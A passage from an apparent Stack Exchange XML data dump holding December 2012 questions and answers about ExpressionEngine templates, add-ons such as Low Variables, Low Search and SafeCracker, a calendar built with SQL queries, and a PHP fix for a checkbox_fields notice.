ContentLicense="CC BY-SA 3.0" />
  <row Id="2057" PostTypeId="2" ParentId="2054" CreationDate="2012-12-23T02:25:42.927" Score="7" Body="&lt;p&gt;If your customers are required to have an account when you checkout I usually just check to see if the user has an entry in the orders channel. So I am going to assume that you have named your channel &quot;orders&quot; I would have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot; author_id=&quot;CURRENT_USER&quot; status=&quot;paid|open&quot; disable=&quot;pagination|categories|category_fields&quot;}&#xA;&amp;lt;h1&amp;gt;You have purchased something from us!&amp;lt;/h1&amp;gt;&#xA;{if no_results}&#xA; &amp;lt;h2&amp;gt;You should probably go buy something now!&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-12-23T02:55:52.413" LastActivityDate="2012-12-23T02:55:52.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2058" PostTypeId="1" AcceptedAnswerId="2063" CreationDate="2012-12-23T02:26:47.350" Score="3" ViewCount="118" Body="&lt;p&gt;I'm storing birthdates in a Channel field.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I display the birthdates as age in years? Is that something I just compute in the templates? Or is there a better way?&lt;/li&gt;&#xA;&lt;li&gt;I'm planning to use Low Search. Is there a way I will be able to filter something like &quot;age is 25-30?&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-23T10:48:02.283" Title="Birthdate in Channel Data - how to filter and display age?" Tags="|templates|channel-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2059" PostTypeId="2" ParentId="2043" CreationDate="2012-12-23T05:55:55.833" Score="3" Body="&lt;p&gt;If you're using early parsed vars only, try putting both of them in the &lt;strong&gt;same&lt;/strong&gt; LV group and make sure &lt;code&gt;{lv_tmpl_utility_belt}&lt;/code&gt; comes &lt;strong&gt;before&lt;/strong&gt; &lt;code&gt;{lv_ee_casestudy_prevnext_entries}&lt;/code&gt;. This ensures that the vars will be put into the template correctly. Having the second var above the first will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, you've got 2 vars, A and B. A &lt;em&gt;contains&lt;/em&gt; B, so A needs to be parsed &lt;em&gt;before&lt;/em&gt; B. Hence the order in their group matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looking at the contents of your vars, I can see an issue coming up. You've got &lt;code&gt;{title}&lt;/code&gt; and &lt;code&gt;{url_title}&lt;/code&gt; vars inside the Query tags. These will actually get parsed by the channel:entries tag before the Query tag can get to it. So, you either need to rename those, or, to avoid such conflicts altogether, you could use the low_variables:single tag, along with the &lt;code&gt;preparse:&lt;/code&gt; parameters, &lt;strong&gt;available in LV 2.3.0+&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code would then look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;case_studies&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    ...&#xA;    {exp:low_variables:single&#xA;        var=&quot;lv_tmpl_utility_belt&quot;&#xA;        preparse:segment_1=&quot;{segment_1}&quot;&#xA;        preparse:segment_3=&quot;{segment_3}&quot;&#xA;    }&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And just change the &lt;code&gt;lv_tmpl_utility_belt&lt;/code&gt; var slightly, so it calls &lt;code&gt;lv_ee_casestudy_prevnext_entries&lt;/code&gt; by also using the low_variables:single tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single&#xA;    var=&quot;lv_ee_casestudy_prevnext_entries&quot;&#xA;    preparse:segment_3=&quot;{segment_3}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This approach is what some people call &lt;a href=&quot;http://leereamsnyder.com/blog/low-variables-230-totally-killed-the-embed-tag&quot; rel=&quot;nofollow&quot;&gt;Killing the Embed Tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-23T05:55:55.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2060" PostTypeId="2" ParentId="1978" CreationDate="2012-12-23T06:13:46.037" Score="4" Body="&lt;p&gt;The main problem here is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;keywords=&quot;{segment_3}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You probably don't have &lt;em&gt;keywords&lt;/em&gt; in the third segment, but an entire encoded &lt;em&gt;query&lt;/em&gt;. You're feeding that query as keywords to the URL tag, essentially encoding it &lt;em&gt;twice&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the URL tag and you want to work from an existing search action, use &lt;code&gt;query=&quot;{segement_3}&quot;&lt;/code&gt; to pass all the details from the existing query on to the URL. Then use any other parameters to override those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say you've searched for &lt;em&gt;foobar&lt;/em&gt; using the Low Search form. That will redirect you to something like &lt;code&gt;domain.com/search/results/xxxxx&lt;/code&gt;, where the segment 3 is the encoded query (&lt;em&gt;not just the keywords!&lt;/em&gt;). Say you want to generate a link from that query to something else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:url&#xA;    query=&quot;{segment_3}&quot;&#xA;    keywords=&quot;barfoo&quot;&#xA;    result_page=&quot;other/template&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will generate a URL like &lt;code&gt;domain.com/other/template/yyyyy&lt;/code&gt;, using &lt;em&gt;barfoo&lt;/em&gt; as keywords, but maintaining all other details given in the first query, like Collection, Search mode, etc. This link will not add the search to the log. To do that, add the &lt;code&gt;encode=&quot;no&quot;&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:url&#xA;    query=&quot;{segment_3}&quot;&#xA;    keywords=&quot;barfoo&quot;&#xA;    result_page=&quot;other/template&quot;&#xA;    encode=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should give you something like &lt;code&gt;domain.com/?ACT=21&amp;amp;keywords=barfoo&amp;amp;result_page=other%2Ftemplate...&lt;/code&gt;. This &lt;em&gt;will&lt;/em&gt; add the search to the log.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-23T06:13:46.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2061" PostTypeId="2" ParentId="1521" CreationDate="2012-12-23T06:22:01.123" Score="4" Body="&lt;p&gt;I had an answer for this on the EE Wiki, but can't see that it exists anymore -- even the Wayback Machine can't find it. So, here is some EE template source which will show you how to do it, which I've used for years on a site - I believe it will fit EE1 as well as EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principle is to use database queries via the EE Query module - be sure to have it enabled. If I were doing this today, I would probably make an add-on to allow the code to be simpler to look at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works well, however, just to embed the queries as we're writing out the calendar. We look for whether there are later (or earlier) entries. If there are, we write out the link, visibly showing appropriate corner brackets which make the buttons. If there aren't, we write nothing, leaving a blank cell, which looks right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- this solution is for the first-party (EE tag) calendar. It seems to me that's what's referenced in the question, and you should remove the solspace-calendar tag if that's so, per Anna's request. If it is for Solspace Calendar, you should then say so, and maybe the queries here will also be useful, since I imagine you could play a similar trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- the queries here are on exp_channel_titles, which fits EE2.x. That will be exp_weblog_titles if you are on EE1. If you used a database prefix, you'll have to include that too - the queries may only reference real table names in the database. There are ways to get that, but they seem not worth the complication for this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- further on the query, note that I'm hard-coding channel_id = '6'. You can look up the channel_id number for the channel you want by using the EE control panel Tool&gt;SQL Manager&gt;Manage Database Tables, and clicking Browser for the table exp_channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- there isn't much of a measurable performance hit using this method, among all the other queries which typically build a web page. If you want things to go really fast on a shared hosting, you can look into CE Cache, which is simple excellent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- the calendar tag used this way is one of the cases where you actually do want to have dynamic='yes', so that it follows the main channel entry you are showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- if you're actually using some other kind of buttons, it's likely the queries should be used to set CSS labels to make them normally formatted or invisible, to achieve the effect you've asked for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- yes, it's a table -- that's the old EE way. Perhaps one place where tables actually make sense, since a calendar is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good fortune, and nice holidays to all involved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;sidetitle&quot;&amp;gt;History&amp;lt;/h2&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;div id=&quot;calendar&quot;&amp;gt; &#xA; {exp:channel:calendar switch=&quot;calendarToday|calendarCell&quot; channel=&quot;{my_channel}&quot; dynamic=&quot;yes&quot; show_pages=&quot;no&quot; }&#xA;  &amp;lt;table class=&quot;calendarBG&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;1&quot; summary=&quot;My Calendar&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;th class=&quot;calendarHeader&quot;&amp;gt;&amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt; &#xA;        {exp:query sql=&quot;SELECT year, month FROM exp_channel_titles where status = 'open' and channel_id = '6' and ((year = {date format=&quot;%Y&quot;} and month &amp;lt; {date format=&quot;%n&quot;}) or year &amp;lt; {date format=&quot;%Y&quot;}) order by year desc, month desc limit 1;&quot; } &amp;lt;a href=&quot;{path={my_template_group}/articles_all/{year}/{month}}&quot;&amp;gt;&amp;amp;lt;&amp;amp;lt;&amp;lt;/a&amp;gt; {/exp:query}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;/th&amp;gt;&#xA;      &amp;lt;th class=&quot;calendarHeader&quot; colspan=&quot;5&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/th&amp;gt;&#xA;      &amp;lt;th class=&quot;calendarHeader&quot;&amp;gt;&amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt; &#xA;        {exp:query sql=&quot;SELECT year, month FROM exp_channel_titles where status = 'open' and channel_id = '6' and ((year = {date format=&quot;%Y&quot;} and month &amp;gt; {date format=&quot;%n&quot;}) or year &amp;gt; {date format=&quot;%Y&quot;}) order by year asc, month asc limit 1;&quot; } &amp;lt;a href=&quot;{path={my_template_group}/articles_all/{year}/{month}}&quot;&amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt; {/exp:query}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt; {calendar_heading}&#xA;      &amp;lt;td class=&quot;calendarDayHeading&quot;&amp;gt;{lang:weekday_abrev}&amp;lt;/td&amp;gt;&#xA;      {/calendar_heading} &amp;lt;/tr&amp;gt;&#xA;    {calendar_rows }&#xA;    {row_start}&#xA;    &amp;lt;tr&amp;gt;{/row_start}&#xA;      {if entries}&#xA;      &amp;lt;td class='{switch}' align='center'&amp;gt;&amp;lt;a href=&quot;{day_path={my_template_group}/articles_all}&quot;&amp;gt;{day_number}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;      {/if}&#xA;      {if not_entries}&#xA;      &amp;lt;td class='{switch}' align='center'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;      {/if}&#xA;      {if blank}&#xA;      &amp;lt;td class='calendarBlank'&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;      {/if}&#xA;      {row_end}&amp;lt;/tr&amp;gt;&#xA;    {/row_end}&#xA;    {/calendar_rows}&#xA;  &amp;lt;/table&amp;gt;&#xA;  {/exp:channel:calendar} &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="103" LastEditorUserId="103" LastEditDate="2012-12-23T06:28:55.413" LastActivityDate="2012-12-23T06:28:55.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2062" PostTypeId="2" ParentId="1990" CreationDate="2012-12-23T06:45:19.450" Score="1" Body="&lt;p&gt;Just a thought, not an answer -- have you considered trying another snippet-move mechanism?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash (&lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/stash&lt;/a&gt;) appears to be like all Mark Croxton makes, pretty solid stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be taking a different approach that could matter, when you're using it in the Better Workflow previewer. One way to see...&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2012-12-23T06:45:19.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2063" PostTypeId="2" ParentId="2058" CreationDate="2012-12-23T10:48:02.283" Score="3" Body="&lt;p&gt;Interesting question. Several options. For display, it should be possible to use a simple calculation plugin and subtract the birthday year from current year, &lt;code&gt;current_time format=&quot;%Y&quot;}&lt;/code&gt; (e.g. 2013 - 1980 == 33). For this to work you probably need the fieldtype to be of the &quot;date&quot; kind for date-formatting to work on the field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For searching by date, you'll probably need to write a custom query, or use the active record plugin. Because the standard search:field=&quot;needle&quot; parameter only works as string. A custom plugin that queries the database is also an option. Fetch the ID's that meet the criteria and feed those to the channel:entries tag &lt;code&gt;entry_id=&quot;13|42|147&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2012-12-23T10:48:02.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2064" PostTypeId="2" ParentId="1994" CreationDate="2012-12-23T16:18:18.560" Score="2" Body="&lt;p&gt;Jack Watkins created an extension to be able &quot;&lt;em&gt;to carry out the submission of register data to Salesforce in a less intrusive way.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read all about it here:&#xA;&lt;a href=&quot;http://donebecause.co.uk/entries/integrating_expressionengine_salesforce&quot; rel=&quot;nofollow&quot;&gt;http://donebecause.co.uk/entries/integrating_expressionengine_salesforce&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be a nice starting point.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2012-12-23T16:18:18.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2065" PostTypeId="5" CreationDate="2012-12-23T16:21:13.413" Score="0" Body="&lt;p&gt;For questions about integrating ExpressionEngine with &lt;a href=&quot;http://www.salesforce.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Salesforce&lt;/a&gt;, an online CRM (customer relationship management) tool.&lt;/p&gt;&#xA;" OwnerUserId="7705" LastEditorUserId="7705" LastEditDate="2022-05-17T12:12:27.770" LastActivityDate="2022-05-17T12:12:27.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2066" PostTypeId="4" CreationDate="2012-12-23T16:21:13.413" Score="0" Body="For questions about integrating ExpressionEngine with Salesforce, an online CRM (customer relationship management) tool." OwnerUserId="426" LastEditorUserId="7705" LastEditDate="2022-05-17T22:08:51.263" LastActivityDate="2022-05-17T22:08:51.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2067" PostTypeId="2" ParentId="2055" CreationDate="2012-12-23T18:50:04.613" Score="2" Body="&lt;p&gt;I'm going to make a good faith effort, but be forewarned that I've actually never used, &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;SafeCracker Registration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules like Zoo Visitors, etc., give you replacement channel tags, bit from what I can see for SafeCracker Registration, the tags are focused on the registration and editing process, leaving the regular ExpressionEngine tags for handling pulling and looping through data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So accessing member data would be the same as accessing a channel entry. The SafeCracker Migration Utility, (accessible via SafeCracker Registration Settings, I'd assume), seems to be the area where you'd map information. So if you regularly need to access the member_id number, that should probably be mapped to a custom field. Otherwise, I'd assume that accessing member data would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;members&quot; limit=&quot;10&quot; orderby=&quot;member_lastname&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;    &amp;lt;div class=&quot;member-list&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;http://mysite.org/member/profile/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Location:&amp;lt;/em&amp;gt; {member_location}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;hr /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very similar to regular channel handling. Now handling member groups would be interesting, because I can't tell if you can map member groups to categories or not. If you can't you'd probably want to do this on the template itself, as a hidden field, if all members were going into one major category. If members were getting assigned to different categories/member groups, then you may need multiple registration forms or to assign groups and categories after the fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you didn't need the other profile data for the listing, you could use the regular membership data tags or a custom query to pull a membership listing by group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite certain what you're attempting to accomplish with the members by member groups. SafeCracker Registration, from what I can tell works best for if you have a simple membership/registration process but want the flexibility of use channels. If you need to assign members to multiple membership groups or do other complex things, then based on the write up on Objective HTML site, SafeCracker Registration may not be for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't tell if you needs are fairly simple or very complex.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-23T18:50:04.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2068" PostTypeId="2" ParentId="2055" CreationDate="2012-12-23T19:38:50.873" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I loop through a list of Members filtered by Member Group?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could just use the &lt;code&gt;group_id&lt;/code&gt; parameter. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#group-id&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#group-id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;members&quot; dynamic=&quot;no&quot; group_id=&quot;6&quot;}&#xA;&#xA;    {your_channel_field}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the easiest way to display a member location is with my Google Maps for ExpressionEngine add-on, which works with Saferacker. The easiest way is to use the fieldtype (FT). You don't have to use the FT, rather you could use a standard lat/lng coordinate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; style=&quot;width:100%;height:400px&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;members&quot; dynamic=&quot;no&quot; group_id=&quot;6&quot;}&#xA;&#xA;    {your_gmap_field id=&quot;map&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternative, use the &lt;code&gt;exp:gmap:marker&lt;/code&gt; tag. This would also create an infowindow too with the &lt;code&gt;{title}&lt;/code&gt; tag as the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;    {exp:gmap:init id=&quot;map&quot; style=&quot;width:100%;height:400px&quot;}&#xA;  &#xA;    {exp:channel:entries channel=&quot;members&quot; dynamic=&quot;no&quot; group_id=&quot;6&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{your_lat_field}&quot; longitude=&quot;{your_lng_field}&quot;}&#xA;         {title}&#xA;    {/exp:gmap:marker}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.dev/google-maps&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.dev/google-maps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you don't have to use my Google Maps add-on, but it's definitely the easiest way to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to check Entries, a new add-on designed get complex entry data. I will definitely add a method to pull out entries via member group, that's a good idea. This is still in beta, but I will be finishing it up in the next week or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.dev/entries&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.dev/entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this a good approach?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think so, it's how I handle all my other client sites. It something isn't available that you think should be, just let me know and I will see about adding the feature.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-23T19:44:58.853" LastActivityDate="2012-12-23T19:44:58.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2070" PostTypeId="1" CreationDate="2012-12-24T09:56:18.033" Score="2" ViewCount="94" Body="&lt;p&gt;In the back-end at order details you can add a message while changing the status of the order. I want to use this information in the email templates, but I can't find the appropriate tag for the message.&lt;/p&gt;&#xA;" OwnerUserId="664" LastEditorUserId="268" LastEditDate="2012-12-26T08:27:06.223" LastActivityDate="2012-12-26T08:27:06.223" Title="How can I include the status message in an email template after changing the status of an order using Store?" Tags="|add-on|expresso-store|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2071" PostTypeId="1" AcceptedAnswerId="2074" CreationDate="2012-12-24T10:11:19.023" Score="4" ViewCount="635" Body="&lt;p&gt;Here is my form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;    channel=&quot;dummy&quot;&#xA;    class=&quot;form-horizontal&quot;&#xA;    dynamic_title=&quot;Place&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    return=&quot;test/place-form-done&quot;&#xA;    safecracker_head=&quot;no&quot;&#xA;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Place&amp;lt;/legend&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;place&quot; value=&quot;&quot; id=&quot;place&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I submit, I get this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: checkbox_fields&#xA;Filename: libraries/safecracker_lib.php&#xA;Line Number: 1210&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2012-12-24T12:22:16.027" Title="Undefined index: checkbox_fields error when submitting safecracker form" Tags="|safecracker|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2072" PostTypeId="2" ParentId="2070" CreationDate="2012-12-24T10:51:31.907" Score="5" Body="&lt;p&gt;Go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE --&gt; Store --&gt; Settings --&gt; Email templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's quite a lot of information, nicely described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the tag you're looking for is {order_status_message}&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2012-12-24T10:51:31.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2073" PostTypeId="1" AcceptedAnswerId="2075" CreationDate="2012-12-24T10:58:54.127" Score="7" ViewCount="968" Body="&lt;p&gt;I'm currently developing custom config files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of my files are deeply located in my architecture and I want to use some of my variables in the config as specific tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{site_url}assets/css/style.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;like that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{css_url}style.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do it ?&lt;/p&gt;&#xA;" OwnerUserId="665" LastEditorUserId="104" LastEditDate="2012-12-25T07:55:37.723" LastActivityDate="2012-12-25T07:55:37.723" Title="How do I assign custom global variables from my config file?" Tags="|config|variable|config-overrides|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2074" PostTypeId="2" ParentId="2071" CreationDate="2012-12-24T11:21:49.797" Score="6" Body="&lt;p&gt;This is a known bug in ExpressionEngine 2.5.3, see &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18237&quot;&gt;BugTracker&lt;/a&gt;. You need to be logged in to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix requires adjusting some code in the SafeCracker modules file. See below…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Open system/expressionengine/modules/safecracker/libraries/api/Api_sc_channel_entries.php and find this code on line 66:&#xA;&#xA;$checkbox_fields = explode('|', $data['checkbox_fields']); &#xA;And REPLACE it with:&#xA;&#xA;$checkbox_fields = isset($data['checkbox_fields']) ? explode('|', $data['checkbox_fields']) : array(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may have been patched in the EE 2.5.5 update, but I'm not certain. You can apply this fix manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also mention that for some people applying the fix &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18233&quot;&gt;caused another error&lt;/a&gt; to occur, see…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: checkbox_fields&#xA;Filename: libraries/safecracker_lib.php&#xA;Line Number: 1210&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 402&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was logged as a separate bug, with it's own fix. But if that error occurs for you, the fix is listed below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Find this code starting at line 1210 in /system/expressionengine/modules/safecracker/libraries/safecracker_lib.php:&#xA;&#xA;foreach (explode('|', $_POST['checkbox_fields']) as $checkbox)&#xA;{&#xA;    if ( ! isset($_POST[$checkbox]))&#xA;    {&#xA;        $_POST[$checkbox] = '';&#xA;    }&#xA;} &#xA;Replace that block of code with this:&#xA;&#xA;if (isset($_POST['checkbox_fields']))&#xA;{&#xA;    foreach (explode('|', $_POST['checkbox_fields']) as $checkbox)&#xA;    {&#xA;        if ( ! isset($_POST[$checkbox]))&#xA;        {&#xA;            $_POST[$checkbox] = '';&#xA;        }&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-24T11:21:49.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
